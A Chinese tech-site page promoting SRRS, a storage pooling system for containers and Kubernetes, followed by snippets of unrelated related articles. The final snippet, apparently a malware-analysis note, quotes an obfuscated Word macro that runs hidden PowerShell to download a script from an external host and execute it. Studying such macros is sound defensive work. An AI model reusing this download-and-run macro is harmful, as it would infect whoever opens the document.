容器时代的存储底座:存储资源盘活系统SRRS

容器是软件的可执行单元,它采用通用方式封装了应用程序代码及其库和依赖项,因此可以随时随地运行容器(无论是在桌面、传统 IT 还是云端)。为此,容器利用操作系统 (OS) 虚拟化形式,这里会利用操作系统的功能(在 Linux 内核中,即名称空间和 cgroups 原语)来隔离进程,并控制这些进程有权访问的 CPU、内存和磁盘的数量。容器小巧轻便、速度快且可移植,提供快捷弹性伸缩,结合 Kubernetes 或 Mesos 这类管理平台,有着强大的弹性管理能力。

面对容器,很多人逃不出虚拟机时代的思维定式,认为容器就是一个轻量级虚拟机。容器和虚拟机确实有很多相同点,它们都提供了一种虚拟化途径,充分利用服务器空闲资源,提高了资源利用率。对于最终用户,也无需感知程序运行的环境是虚拟机还是容器。它们都提供资源限制和隔离,可以限制CPU和内存等资源的使用,提供用户隔离、进程隔离、网络隔离等功能。它们也都可以将环境打包为镜像,通过镜像去启动多个副本。

看似相同的各个特点背后却是完全不同的设计思路。虚拟机模仿的是真实的物理硬件,而容器完全是针对云环境设计的。与虚拟机不同,容器不需要在每个实例中都包含访客操作系统,只需利用主机操作系统的功能和资源即可。容器提倡开箱即用,建议每个容器只运行一个应用,而虚拟机的使用方式和物理服务器没有区别,会运行很多程序。虚机通过虚拟出一套复杂的硬件环境来安装操作系统,而容器是基于内核层面的虚拟化,减少了操作系统开销,镜像规模也要小得多。

容器与虚拟机的区别可以总结为:虚拟机在云上模拟物理服务器,而容器从设计之初即考虑到云的环境,原生为云而设计,在云上以最佳姿势运行,充分利用和发挥云平台的弹性+分布式优势,即为云原生。云原生应用也就是面向“云”而设计的应用,在使用云原生技术后,开发者无需考虑底层的技术实现,可以充分发挥云平台的弹性和分布式优势,实现快速部署、按需伸缩、不停机交付等。

容器时代的程序架构要求底层基础架构和平台具有可编程性、弹性、复原能力、模块化能力。可编程性:基础结构支持通过声明性 API 和策略进行预配和管理。弹性:可以使用业务流程协调程序以自动化和策略驱动的方式动态扩展和缩减基础结构资源。复原能力:基础结构服务是松散耦合的单元,可以独立运行以提供容错能力。模块化:基础架构为服务的独立打包(如容器或无服务器功能)提供抽象。例如 Kubernetes 对上述四个属性的实现:Kubernetes 是可编程的,Kubernetes 对象模型上的所有操作 都通过集群控制平面中的 API 服务器执行。Kubernetes 通过横向扩展方法支持弹性。可以通过添加和删除 Pod 和/或节点的实例来增加和减少服务的容量。Kubernetes 通过部署提供服务的容器的多个实例来保持复原能力。如果 Pod 由于某种原因失败,Kubernetes 将尝试自动重启 Pod。Kubernetes 采用模块化设计,提供基于容器部署服务队列的抽象,并支持基于自定义资源定义 (CRD) 的 Kubernetes 软件扩展。

以 Kubernetes 为例,容器管理平台的部署也会遇到很多问题。问题之一,是建立集群以运行生产工作负载的复杂性。Kubernetes 集群的生产级操作需要许多组件 ,用户通常没有足够的技术能力;问题之二,是尽管 Kubernetes可以在多种类型的基础架构上运行,但多架构同时存在导致云原生平台的底层基础设施(即支持 Kubernetes 集群的计算、存储和网络资源)过于复杂,不方便管理;问题之三,是如果用户为了避免上述问题,使用单一的基础设施或直接购买 Kubernetes 的第三方商用版本,则容易被供应商绑定,减少自主性。

存储资源盘活系统(Storage Resource Reutilization System, SRRS)。SRRS 可以在存储层面解决上述问题。SRRS 是一款纯用户态的绿色软件,只有150MB左右的安装包,不需要ROOT权限就可以安装在任何Linux操作系统上,不独占硬盘、操作系统,以2GB内存把各服务器中分散的磁盘整合成高性能的存储资源池,通过分布式双控制器架构保证了低延迟、高可用、易拓展;支持x86、ARM、龙芯等异构、非对称服务器混合部署,通过功能全面完善的控制台、命令行与API来统一调度管理所有存储设备;通过强大的兼容性和硬件异构性充分利用全部存储资源。

SRRS 与 Kubernetes一样,可在多种类型的基础设施上运行,向上提供标准的 iSCSI 接口,完全适配 Kubernetes 的 容器存储接口 CSI 。SRRS 通过命令行、WEB页面、API管理统一的虚拟资源池,通过三个命令行 即可完成部署,不需要用户拥有太高的技术能力。SRRS 可基于异构硬件进行部署,兼容x86、ARM、龙芯等平台设备,具备绿色用户态的特性,可以让用户不关注复杂的基础设施,并且不依赖任何单一供应商。

本文转载于网络 如有侵权请联系删除

相关文章

  • 对称、群论与魔术(五)——真实扑克牌图案的对称性探索

    前面的系列文章我们聊过了如何用群来描述对称性。而在上一篇中,我们着重讲了扑克牌从一个D4的空白正方形,演化成一个C2的印着背面对称图案的过程中不同阶段的对称情况,相关内容请戳:对称、群论与魔术(四)——空白扑克卡片的对称性研究对称、群论与魔术(三)——常见的几何对称性简介对称、群论与魔术(二)——用群来描述对称性对称、群论与魔术(一)——对称性本质探索今天,我们接着来看它印上图案以后的对称性。扑克牌图案的牌角有怎样的对称性?从D4到C2,现在越来越接近一张真实的扑克牌了。无论点数如何,还是大小王,我们在长方形的对角印上相同的图案,其中一个是另一个的180度旋转操作的结果,旋转中心和长方形卡片本身的C2旋转对称中心重合。于是,这更加强化这是一张C2的牌了,而且就牌角的图案在我们手持牌叠打牌的时候,怎么转好像都不影响从一叠牌中识别出它来。不信你看: 图1手持牌叠的样子但是同时也可以注意到,其印制角标的位置连线是在穿过2,4象限的对角线,即连线的斜率为负。这样对于左手持牌,右手打牌的右撇子是恰到好处的,可以轻松开扇后看到每张牌在角标上显示的值。而1,3象限对角线上,并没有印制角标。所以,世界

  • 一文看懂 JavaScript 闭包 - 闭包是什么

    闭包闭包的定义红宝书(第3版):闭包是指有权访问另一个函数作用域中的变量的函数。(P178)小黄书(上):当函数可以记住并访问所在的词法作用域时,就产生了闭包。(P44)MDN:闭包可以让你从内部函数访问外部函数作用域。(原链接)大部分文章:当函数嵌套时,内层函数引用了外层函数作用域下的变量,并且内层函数在全局作用域下可访问时,就形成了闭包。概括一下:在JavaScript中,根据词法作用域的规则,内部函数总是可以访问其外部函数中声明的变量,当通过调用一个外部函数返回一个内部函数后,即使该外部函数已经执行结束了,但是内部函数引用外部函数的变量依然保存在内存中,我们就把这些变量的集合称为(该外部函数的)闭包。闭包的表现形式返回一个函数作为函数参数传递回调函数非典型闭包IIFE(立即执行函数表达式)返回一个函数这种形式的闭包在JavaScript中非常常见。vara=1; functionfoo(){ vara=2; //这就是闭包 returnfunction(){ console.log(a); } } varbar=foo(); bar();//输出2,而不是1复制作为函数参数传递

  • maven配置 setting.xml详解--properties、Repositories

    properties作用:对应profile的扩展属性列表。maven属性和ant中的属性一样,可以用来存放一些值。这些值可以在pom.xml中的任何地方使用标记${X}来使用,这里X是指属性的名称。属性有五种不同的形式,并且都能在settings.xml文件中访问。<!-- 1.env.X:在一个变量前加上"env."的前缀,会返回一个shell环境变量。例如,"env.PATH"指代了$path环境变量(在Windows上是%PATH%)。 2.project.x:指代了POM中对应的元素值。例如:<project><version>1.0</version></project>通过${project.version}获得version的值。 3.settings.x:指代了settings.xml中对应元素的值。例如:<settings><offline>false</offline></settings>通过${settings.offl

  • [机器学习算法]决策树引论和CART算法

    决策树综述1.决策树的工作原理决策树decisiontree分类法是一种简单但广泛使用的分类技术。以是否贷款违约的二分类问题为例,当我们希望根据给定的训练集习得一个模型对新出现的贷款人进行分类时,经常需要从大量的贷款申请单中识别出来哪些贷款人是劣质的贷款人(容易拖欠贷款)。想象一下客户经理和助手针对一个贷款者进行的如下对话:经理:他有房吗? 助手:没有 经理:他结婚了吗? 助手:没有,一个单身汉 经理:他年收入高于70K吗? 助手:不足70K 经理:那驳回他的申请 经理根据贷款者的各方面“特征”一步步分析后进行的多次决策就相当于一个简单的决策树过程。下面我们用一个决策树模型模拟经理的决策过程。image.png2.决策树的构成决策树是一种由节点和有向边组成的层次结构,树中包含三种节点:根节点rootnode:它没有入边,但有零条或多条出边,是决策树首次划分的节点。内部节点internalnode:恰有一条入边和两条或多条出边。叶子节点leftnode:恰有一条入边但没有出边。每个叶子节点都被赋予一个类标签。3.如何建立决策树模型机器学习中,决策树是一个预测模型,代表着的是对象属性与对象

  • Python数据分析---matplotlib可视化(堆叠柱状图-各地市)

    偶然看到网上国家统计数据,利用Python数据分析自己做了几种图表练习。主要采用Pandas来做数据统计,matplotlib来做图表可视化。下面图表数据来源于网络。堆叠柱状图代码如下:importnumpyasnp importmatplotlib.pyplotasplt importpandasaspd frommatplotlib.font_managerimportFontProperties plt.rcParams['font.family']='sans-serif' plt.rcParams['font.sans-serif']='SimHei' df=pd.read_excel('d:/2018-2019年空气质量均值.xlsx') df2=pd.read_excel('d:/2018-2019年空气质量均值.xlsx',1) regionTypes=["省辖市","市辖区"] width=0.35#the

  • Python学习之使用Python操作R

    最近在写一个检查一台服务器上所有游戏区服配置文件中redis某个key值大小的脚本,本打算使用shell+awk+sed的方式去解决这个问题,但是由于redis的配置信息是php数组形式.shell脚本一时没有写出来,就请教他人帮忙写了个python脚本,但是自己python不是很精通,于是按照脚本中涉及到的python知识现学现用,然后根据自己的需求更改脚本.这里分享一下如何使用python操作redis数据库.Redis的Python驱动地址是https://github.com/andymccurdy/redis-py建议使用Python2.5以上版本,在CentOS5.x下默认Python版本是2.4,在CentOS6.x下默认Python版本是2.6.一安装Redis的Python驱动CentOS6.xsudo pip install redis  (建议使用) 或者 sudo easy_install redis复制CentOS5.x上安装Redis的Python驱动需要安装Python2.5以上版本,建议安装Python2.6wget https://github.com

  • NodeJs简单入门指南--搭建一个简单的http服务器(一)

    NodeJs是什么我想大家已经很了解了,作为一个前端工程师,想要不断提升自己,一般都会接触到后端服务器的技术,NodeJs给我们提供了一个学习成本相对较低的捷径可走。我一向不赞成评价到底哪个语言好哪个语言烂,存在即合理似乎是这个世界不变的真理。每个语言都有其特性及适用场景。既然是这样,我们先来梳理一下NodeJs的适用场景:1:高并发、高I/O场景2:逻辑较少3:追求响应速度的项目以上三点是我们使用NodeJs所要考虑的,由于nodejs是单线程、异步I/O的、事件驱动的语言,所以带来响应速度的基础上也会有很多坑,鉴于此篇博文是纯新手向的,所以并不多阐述回调带来的代码混乱问题,仅致力于带领读者入门,可以自行搭建http服务器。同时如果你想学习nodejs,建议你掌握javascript的底层知识,包括闭包,原型链,OOP等。如果你熟悉commonJS会对你学习nodejs带来更好的体验。———————————————————————————————————正文—————————————————————————————————————一:安装安装就不多说了现在网上一搜一大堆教程,Mac的

  • Hadoop Meetup 现场直播

    自2006年诞生以来,Hadoop技术与社区已走过了13个年头,在经历了大数据技术高速发展之后,迎来了3.x时代。Hadoop如何在腾讯、阿里、滴滴、小米、美团、头条以及京东巧妙落地?有哪些新方向值得关注?Hadoop技术社区又将走向何方?今天,Hadoop将首次在中国组织Meetup,为你揭晓大数据Hadoop技术与社区发展的Roadmap。时间地点时间:2019年8月10日 10:00地点:北京希格玛大厦小剧场活动议程09:40-10:00 签到&自由交流10:00-10:20 Hadoop社区与技术RoadMap分享 10:20-10:50 DevOpsOzone:Hadoop原生对象存储探秘10:55-11:25 YARN3.xinAlibaba13:30-14:10 HadoopSubmarine:跨平台的一站式机器学习平台14:15-18:30  Hadoop在滴滴、小米、美团、头条以及京东的落地实践讲师议题Hadoop社区与技术发展RoadMapHadoop的3.x时代,有哪些方向值得关注?Hadoop技术社区又走向何方?本次分享将为你揭晓大数据Hadoop技术与

  • tensrflow lstm

    tf.nn.rnn_cell.LSTMCell.__init__(num_units,input_size=None,use_peepholes=False, cell_clip=None,initializer=None,num_proj=None,num_unit_shards=1,num_proj_shards=1, forget_bias=1.0,state_is_tuple=False,activation=tanh)复制num_units:cell输出的维数(一个lstm的一个单元称为cell) state_is_tuple:设置为true的话,返回(c_state,m_state),false的话不知道返回啥官网上说不赞成使用inputsize这个参数, 函数的输出是一个cell tf.nn.rnn_cell.DropoutWrapper.__init__(cell,input_keep_prob=1.0, output_keep_prob=1.0,seed=None)复制cell:就用上面代码返回的cellinput_keep_prob/output_keep_prob

  • 基于全基因组的基因家族分析(2):SlNRAMP家族基因成员鉴定

    1.找到你所感兴趣的基因家族番茄(Solanumlycopersicum),最喜爱的蔬菜水果之一。摘录维基百科最基本的介绍,详细了解番茄的起源,自行Google。小编还是喜欢Transportergenefamily,就觉得特别有意思。植物对于各种营养元素的吸收,都需要其帮助,一旦缺少了,轻则营养不良,重则一命呜呼。本次流程,我选择了Thenaturalresistance-associatedmacrophageprotein(NRAMP)家族。 Thetomato(seepronunciation)istheedible,oftenred,fruitoftheplantSolanumlycopersicum,commonlyknownasatomatoplant.Theplantbelongstothenightshadefamily,Solanaceae.2.获取基因家族pfamnumber进入官网https://pfam.xfam.org/,主页如下: pfam主页 选择KEYWORDSEARCH,来直接搜索“NRAMP”。点Go,进入搜索结果页面。 KEYWORDSEARCH

  • 张星亮:SaaS没有错,但不要用新技术做美国十年前做的事

    SaaS颠覆传统软件到底是不是一个伪命题?SaaS死了吗?最近这些问题引起圈内讨论。 SCRM厂商六度人和(EC)在这这样“暗淡”的市场环境中逆势增长,吸引了行业很多人的注意。我们回到中国第二波SaaS在2013年产生时候,EC的创始人张星亮刚好出来做SCRM(社交化客户关系管理),这几年过来中国的SaaS到底出了什么问题?六度人和(EC)创始人&CEO张星亮 在日前由人称T客和T媒体举办的第四届中国SaaS产业峰会上,张星亮作为创业者分享了自己的见解:SaaS没有错,但不该用SaaS做老市场中国的企业级市场是从会计电算化开始的,第二阶段是管理软件,大家可能认为管理软件都是在企业内部,云平台来临的时候,它是否就应该云化,是否会搭上那一波浪潮?不一定。其实,我们已经从中国制造转变为中国创造,企业由生产型企业升级为科技型企业,以前的企业需要使用管理软件牺牲员工效率提升管理效率,固化的流程需要员工跑完业务回来填表。移动化浪潮的发展加上人口红利消失,升级后的科技型企业需要员工自驱力管理,这个时候发现管理软件其实不那么重要,数字化软件变得很重要,要用数据帮助员工提升效率。所以当整个企业的

  • 自动驾驶kitti数据集 物体检测第一论文中文解读

    https://zhuanlan.zhihu.com/p/25996617(注:阅读笔记有很多自己的主观判断和解释,会有错误与误解之处,也在持续修改中,希望大家能够共同讨论进步,加深理解。)一、研究背景及思路:在2D图像物体检测任务中,RCNN、FastRCNN、FasterRCNN以及刚发布的mask-RCNN等算法,对于单张图像物体检测均取得了较好的效果,对自动驾驶场景分析有着重要的作用,但是对于3D真实世界场景依然描述不够。在自动驾驶中,除了能够检测车辆、行人、障碍物以外,对于其物体速度、方向的检测与定位也是非常重要的。在这篇论文中,作者实现了仅通过单张图像进行:(1)精确的车辆区域检测;(2)车辆部件(如车轮、车灯、车顶等)定位;(3)车辆部件可见性检测(车辆部件在图像中是否可见);(4)车辆3D模板匹配及3D定位。为了实现上述多重任务,作者充分利用了车辆几何特征,将几何特征与语义特征(卷积神经网络中多层次特征)进行结合,下面将对从各方面进行解析:二、算法流程及各环节基本原理:下图是论文的流程示意图:PhaseI:DeepMANTANetwork1、各符号含义解析:论文第一个阶

  • 贝叶斯估计中极大似然估计、拉普拉斯平滑定理以及M-估计

    英文原文链接:http://www.temida.si/~bojan/probability_estimation.php 原文: Probabilityestimation 1Introduction Letusassumethatinanexperimentwehaveconductednindependenttrials,ofwhichtherearersuccesses.Therestofthetrials(n-r)arefailures.Examplesofsuchexperimentsaretossingacoin(e.g.successisahead),throwingadice(e.g.successis6ontop),shootingafreethrowinbasketball(successisascoredpoint),etc.Inthisreportwewilldiscussthefollowingquestion:howtoestimatetheprobabilityofsuccessinthenext(n+1)trial. Inaddition,wewoul

  • 记录一下从懵懂到理解RESTful的过程

    前言前文中提到了RESTful设计,后端实战及前端代码的修改,写完之后本来想写一下对RESTful的一些看法的,但是写着写着跑题了,最终是写成了不同阶段对于RESTful的认识和感受,包括第一次听到这个概念,第一次使用这个规范.....一幕幕回想起来也是很有意思的经历。初识RESTful第一次知道这个概念应该是在2014年的时候吧,那时候的我入行不久,接触JavaWeb开发也只是在入门的水平,做过几个小的官网项目,开发模式也是跟着公司的开发来,用比较传统的MVC开发模式,技术选型就是Jsp+Servlet,因此对REST这种思想或者说对于异步调用接口的方式可以说是一窍不通。看着REST风格的接口URL,当时唯一的想法就是,不就是把".do"去掉吗?有什么难的?等等,如果把".do"去掉还怎么拦截Servlet的请求?这就是初识RESTful的情形,第一次接触RESTful的时候,我的关注点在URL和Servlet拦截配置上,以那时的技术水平和开发经验来说,似乎也只能意识到这么多,对于RESTful的理解也仅仅在URL的格式不同罢了,至于其他的理解

  • IBM 量子计算机内部结构图首度曝光,2018量子霸权战局预测

    本周,IBM50个量子比特原型机内部结构图曝光,全面展示了这台机器的构造和原理。IBM在“量子霸权”道路上雄心勃勃,但也面临着诸多问题。同时,来自谷歌、微软等大公司的竞争让2018年量子霸权争夺大戏异常精彩,值得期待!2017年11月,IBM宣布成功构建并测量了具有类似性能指标的50个量子比特原型机。50个量子比特被普遍认为可以进行普通超级计算机不能完成的任务,IBM此举也是在“量子霸权”(quantumsupremacy)上具有里程碑意义的一步。在本周在旧金山举行的IBM'sinauguralIndex开发者大会上,该公司对外展示了50个量子比特原型机,更重要的是,原型机的内部结构图同时曝光。不过,尽管IBM的50个量子比特原型机看上去非常先进,但量子计算仍处于初级阶段,包括IBM在内的公司都不太确定量子计算的下一步将走向何方。与此同时,想要在量子计算这个蓬勃发展的领域取得“量子霸权”的不仅有IBM,还有谷歌(49个量子比特)、微软以及日本的数家企业与研究机构。阿里云量子实验室首席科学家、之江实验室副主任施尧耘认为,2018年将上演量子计算年度大戏,几个大公司之间将出现量子

  • 如何优雅的搭建 Python 项目

    当你熟悉了Python之后,就不会再满足只写一个脚本就完事,这个时候就需要考虑项目结构的事情了,尤其与别人合作完成一个项目的时候,项目的结构尤其重要。本文分享如何优雅的开启一个Python项目。简单来讲,分为5个步骤:1、创建虚拟环境你可以在项目目录中执行下面的命令,然后就会生成一个venv目录,这就是Python的虚拟环境,后面记得把venv添加到.gitignore文件中,避免被Git管理,从而避免上传到GitHub。python3-mvenvvenv#创建 sourcevenv/bin/activate#激活 deactivate#取消激活 复制在后面的编码过程中,我们会pipinstall一些依赖,项目依赖全部安装完成后,记得执行pipfreeze>requirements.txt来保存项目的依赖,以便后续迁移或者部署的时候,可以很快安装依赖。2、建立单独的单元测试目录通常,在项目目录下建立tests文件夹,来存放单元测试文件,假如有一个Python文件名是greetings.py那单元测试的文件名就是test_greetings.py,通常大家都用pytest来进行单元

  • Docker容器实战三:安装部署

    目前,Docker支持在多个平台上进行安装部署,包括Linux、Windows和Mac。每个平台会有对应的系统版本要求,具体可以参见官方说明。在实际应用中,Docker使用最多的场景是在Linux系统上。本文将基于市面上最常用的Centos和Ubuntu系统,对Docker的安装部署进行介绍。一.Centos安装Docker的安装要求使用Centos7.x或8.x的版本,安装方式有yum、RPM包或脚本安装几种方式,此处我们使用yum方式。1.配置官方yum源$sudoyuminstall-yyum-utils $sudoyum-config-manager\ --add-repo\ https://download.docker.com/linux/centos/docker-ce.repo复制2.安装Docker$sudoyuminstalldocker-cedocker-ce-clicontainerd.io复制注:此处使用社区版安装,包括服务端和客户端;containerd为docker的runtime。默认情况下,yum工具会安装最新的稳定版,如果需要指定docker版本,可

  • Ember.js入门教程、博文汇总

    第一章对象模型 Ember.js入门指南——类的定义、初始化、继承 Ember.js入门指南——类的扩展(reopen) Ember.js入门指南——计算属性(computeproperties) Ember.js入门指南——观察者(observer) Ember.js入门指南——绑定(bingding) Ember.js入门指南——枚举(enumerables) Ember.js入门指南之七第一章对象模型小结 第二章模板 Ember.js入门指南——handlebars基础 Ember.js入门指南——handlebars条件表达式 Ember.js入门指南——handlebars遍历标签 Ember.js入门指南——handlebars显示对象的键 Ember.js入门指南——handlebars属性绑定 Ember.js入门指南——{{link-to}}助手 Ember.js入门指南——番外篇,路由、模板的执行、渲染顺序 Ember.js入门指南——{{action}}助手 Ember.js入门指南——表单元素 Ember.js入门指南——调试助手 Ember.js入门指南

  • 分层架构之DDD分层

    DDD(DomainDrivenDesign,领域驱动设计)作为一种软件开发方法,它可以帮助我们设计高质量的软件模型。在正确实现的情况下,我们通过DDD完成的设计恰恰就是软件的工作方式。UL(UbiquitousLanguage,通用语言)是团队共享的语言,是DDD中最具威力的特性之一。不管你在团队中的角色如何,只要你是团队的一员,你都将使用UL。由于UL的重要性,所以需要让每个概念在各自的上下文中是清晰无歧义的,于是DDD在战略设计上提出了模式BC(BoundedContext,限界上下文)。UL和BC同时构成了DDD的两大支柱,并且它们是相辅相成的,即UL都有其确定的上下文含义,而BC中的每个概念都有唯一的含义。一个业务领域划分成若干个BC,它们之间通过ContextMap进行集成。BC是一个显式的边界,领域模型便存在于这个边界之内。领域模型是关于某个特定业务领域的软件模型。通常,领域模型通过对象模型来实现,这些对象同时包含了数据和行为,并且表达了准确的业务含义。从广义上来讲,领域即是一个组织所做的事情以及其中所包含的一切,表示整个业务系统。由于“领域模型”包含了“领域”这个词,我

  • 转 intValue()的用法

       intValue()是java.lang.Number类的方法,Number是一个抽象类。Java中所有的数值类都继承它。 不单是Integer有intValue方法,Double,Long等都有此方法。   此方法的意思是:输出int数据。每个数值类中具体的实现是不同的。例如:  Float类和Double类的intValue方法,就是丢掉了小数位,而Long的intValue方法又不一样的

  • 恶意宏学习备忘

       0x01实例一 PrivateSubDocument_Open()DimCGJKIYRSDGHJHGFFGAsString CGJKIYRSDGHJHGFFG="cmd/K"+"pow"+"eR"&"sh"+"ell.e"+"x"+"e -WindowStylehiddeN-ExecuTionPolicyBypasS-noprofile(New-ObjectSystem.Net.WebClient).DownloadFile('http://skycpa.in/file.php','%TEMP%\Y.ps1'); poWerShEll.exe-WindowStylehiddeN-ExecutionPolicyBypass-noprofile-file%TEMP%\Y.ps1"ShellCGJKIYRSDGHJHGFFG,0MsgBox("Unreferencedlibraryrequired")EndSub 复制 这段宏首先拼接了一段字符串CGJKIYRSDGHJHGFFG,这段字符串是一段命令,接下来就调用Shell(),执行这段命令。但是CGJ

相关推荐

推荐阅读